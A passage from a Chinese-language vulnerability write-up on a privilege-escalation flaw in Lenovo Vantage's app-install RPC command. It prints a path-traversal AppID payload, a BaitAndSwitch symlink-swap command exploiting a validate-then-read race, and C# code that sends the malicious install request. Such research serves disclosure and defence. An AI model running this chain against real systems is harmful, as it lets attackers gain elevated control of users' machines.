(LPE)。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">命令 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Do-DownloadAndInstallAppComponent</span></code><span leaf="">用于在联想 Vantage 内下载和安装第一方及第三方应用程序，支持五种独立操作模式：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">GetStatus,</span><br/><span leaf="">GetLaunchPath,</span><br/><span leaf="">DownloadOnly,</span><br/><span leaf="">InstallOny,</span><br/><span leaf="">DownloadAndInstall,</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">其中，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InstallOny</span></code><span leaf="">(sic) 负责安装已存在于磁盘上的应用程序；</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DownloadOnly</span></code><span leaf="">仅执行下载；</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">DownloadAndInstall</span></code><span leaf="">则同时完成两项操作。针对任意操作类型的请求，均会被反序列化为如下对象：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Sending Requestspublic </span><span style="color: rgb(215, 58, 73);"><span leaf="">sealed</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">class</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">DownloadAndInstallAppComponentRequest</span></span><span leaf=""> : </span><span style="color: rgb(215, 58, 73);"><span leaf="">Serialization</span></span><span leaf="">&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">DownloadAndInstallAppComponentRequest</span></span><span leaf="">&gt;</span><br/><span leaf="">{</span><br/><span leaf="">    [JsonProperty(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;action&#34;</span></span><span leaf="">)]</span><br/><span leaf="">    [JsonConverter(typeof(StringEnumConverter))]</span><br/><span leaf="">    [XmlElement(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Action&#34;</span></span><span leaf="">, IsNullable = </span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span leaf=""> ActionType </span><span style="color: rgb(111, 66, 193);"><span leaf="">Action</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">; </span><span style="color: rgb(215, 58, 73);"><span leaf="">set</span></span><span leaf="">; }</span><br/><span leaf="">    [JsonProperty(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;appID&#34;</span></span><span leaf="">)]</span><br/><span leaf="">    [XmlElement(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppID&#34;</span></span><span leaf="">, IsNullable = </span><span style="color: rgb(0, 92, 197);"><span leaf="">false</span></span><span leaf="">)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">AppID</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">; </span><span style="color: rgb(215, 58, 73);"><span leaf="">set</span></span><span leaf="">; }</span><br/><span leaf="">    [JsonProperty(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;prerequisiteText&#34;</span></span><span leaf="">)]</span><br/><span leaf="">    [XmlElement(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;PrerequisiteText&#34;</span></span><span leaf="">)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">PrerequisiteText</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">; </span><span style="color: rgb(215, 58, 73);"><span leaf="">set</span></span><span leaf="">; }</span><br/><span leaf="">    [JsonProperty(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;moveTo&#34;</span></span><span leaf="">)]</span><br/><span leaf="">    [XmlElement(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;MoveTo&#34;</span></span><span leaf="">)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">MoveTo</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">; </span><span style="color: rgb(215, 58, 73);"><span leaf="">set</span></span><span leaf="">; }</span><br/><span leaf="">    [JsonProperty(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;continueDownloadWhileExit&#34;</span></span><span leaf="">)]</span><br/><span leaf="">    [XmlElement(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;ContinueDownloadWhileExit&#34;</span></span><span leaf="">)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">ContinueDownloadWhileExit</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">; </span><span style="color: rgb(215, 58, 73);"><span leaf="">set</span></span><span leaf="">; }</span><br/><span leaf="">    [JsonProperty(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;appName&#34;</span></span><span leaf="">)]</span><br/><span leaf="">    [XmlElement(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppName&#34;</span></span><span leaf="">)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">public</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">AppName</span></span><span leaf=""> { </span><span style="color: rgb(215, 58, 73);"><span leaf="">get</span></span><span leaf="">; </span><span style="color: rgb(215, 58, 73);"><span leaf="">set</span></span><span leaf="">; }</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从整体流程来看，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">InstallOny</span></code><span leaf="">操作依次执行以下步骤：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">验证并解析应用清单</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">验证应用安装文件的完整性</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">检测目标应用是否已有安装任务正在执行</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">提取并验证执行上下文 (用户、管理员、系统)</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">启动应用安装程序</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">应用清单是一个 XML 文件，包含安装所需的元数据与指令，例如安装程序名称、启动路径、执行上下文等。其中关键字段是用于验证 XML 文件完整性的签名信息 (通过标准 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Signature</span></code><span leaf="">块实现) 。函数 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">GetAppInformation</span></code><span leaf="">负责加载、验证和解析目标应用的清单，具体步骤如下：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> text = </span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">.Empty;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData),</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Lenovo</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">Vantage</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">AddinData</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">LenovoSystemUpdateAddin</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">GeneralDownload&#34;</span></span><span leaf="">,</span><br/><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">]     request.AppID, request.AppID + </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;.xml&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (useCachedFile &amp;&amp; File.Exists(text2))</span><br/><span leaf="">{</span><br/><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">]</span><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> XMLFileValidator().GetTrustStatus(text2).Equals(TrustStatus.FileTrusted))</span><br/><span leaf="">    {</span><br/><span leaf="">[</span><span style="color: rgb(0, 92, 197);"><span leaf="">2</span></span><span leaf="">]text = File.ReadAllText(text2, Encoding.UTF8);</span><br/><span leaf="">    }</span><br/><span leaf="">}</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">else</span></span><br/><span leaf="">{</span><br/><span leaf="">    text = DownloadApplicationDescription(request.AppID, intermediateResponseFunction, token, ref response);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">上述代码中存在两处漏洞，均可导致加载不受信任的应用清单。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第一处位于 [0]：清单路径直接由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">request.AppID</span></code><span leaf="">拼接生成，而该值来自请求本身，从未经过验证或净化。因此，攻击者可以构造恶意的 AppID，通过路径遍历跳转至任意目录：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">{ </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppID&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">boo2</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">MLeno&#34;</span></span><span leaf=""> }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">=&gt;</span></span><span leaf=""> C</span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf="">\boo2\MLeno.</span><span style="color: rgb(36, 41, 46);"><span leaf="">xml</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第二处位于 [1]：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XMLFileValidator</span></code><span leaf="">对 XML 文件执行签名验证，底层调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Lenovo.CertificateValidation.Native.dll!ValidateXmlFile</span></code><span leaf="">检查签名块。验证通过后，代码随即读取 XML 内容。由于清单路径已被替换为攻击者可控的位置，且验证与读取操作并非原子执行，攻击者可借助机会锁在两次操作之间修改 XML 文件内容。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">具体方法是使用开源工具 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BaitAndSwitch</span></code><span leaf="">：在初始的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">XMLFileValidator</span></code><span leaf="">读取 [1] 阶段，将符号链接指向受信任的清单文件；签名验证通过后，立即将符号链接切换为攻击者修改过的不受信任清单，供后续读取 [2] 使用：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">BaitAndSwitch.exe</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">c</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf="">\</span><span style="color: rgb(36, 41, 46);"><span leaf="">boo2</span></span><span leaf="">\</span><span style="color: rgb(36, 41, 46);"><span leaf="">MLeno.xml</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">c</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf="">\</span><span style="color: rgb(36, 41, 46);"><span leaf="">boo</span></span><span leaf="">\</span><span style="color: rgb(36, 41, 46);"><span leaf="">MLenoReal.xml</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">c</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">:</span></span><span leaf="">\</span><span style="color: rgb(36, 41, 46);"><span leaf="">boo</span></span><span leaf="">\</span><span style="color: rgb(36, 41, 46);"><span leaf="">MLenoMy.xml</span></span><span style="color: rgb(36, 41, 46);"><span leaf="">rwdx</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AppID</span></code><span leaf="">指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">boo2</span></code><span leaf="">路径即可触发上述替换。以下请求可用于发起攻击：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Dictionary&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">&gt; InstallAppPayload = </span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> Dictionary&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">&gt;()</span><br/><span leaf=""> {</span><br/><span leaf="">     { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Action&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;InstallOny&#34;</span></span><span leaf=""> },</span><br/><span leaf="">     { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;AppID&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">..</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">boo2</span></span><span style="font-weight: bold;color: rgb(34, 134, 58);"><span leaf="">\\</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">MLeno&#34;</span></span><span leaf=""> }</span><br/><span leaf=""> };</span><br/><span leaf=""> Dictionary&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">&gt; InstallAppDirect = </span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> Dictionary&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">, </span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf="">&gt;()</span><br/><span leaf="">  {</span><br/><span leaf="">      { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;contract&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;SystemOptimization.SystemUpdate&#34;</span></span><span leaf=""> },</span><br/><span leaf="">      { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;command&#34;</span></span><span leaf="">, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;Do-DownloadAndInstallAppComponent&#34;</span></span><span leaf=""> },</span><br/><span leaf="">      { </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;payload&#34;</span></span><span leaf="">, JsonConvert.SerializeObject(InstallAppPayload) }</span><br/><span leaf="">  };</span><br/><span leaf=""> RpcClient client = </span><span style="color: rgb(215, 58, 73);"><span leaf="">new</span></span><span leaf=""> RpcClient();</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> text = client.MakeRequest(JsonConvert.SerializeObject(InstallAppDirect), </span><span style="color: rgb(215, 58, 73);"><span leaf="">delegate</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">string</span></span><span leaf=""> response)</span><br/><span leaf=""> {</span><br/><span leaf="">     Console.WriteLine($</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;progress response: {response}&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> Lenovo.Vantage.RpcCommon.RpcCallbackResult.Ok;</span><br/><span leaf=""> });</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过上述原语，攻击者获得了以未经验证的应用清单驱动后续安装流程的能力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在安装过程中，Vantage 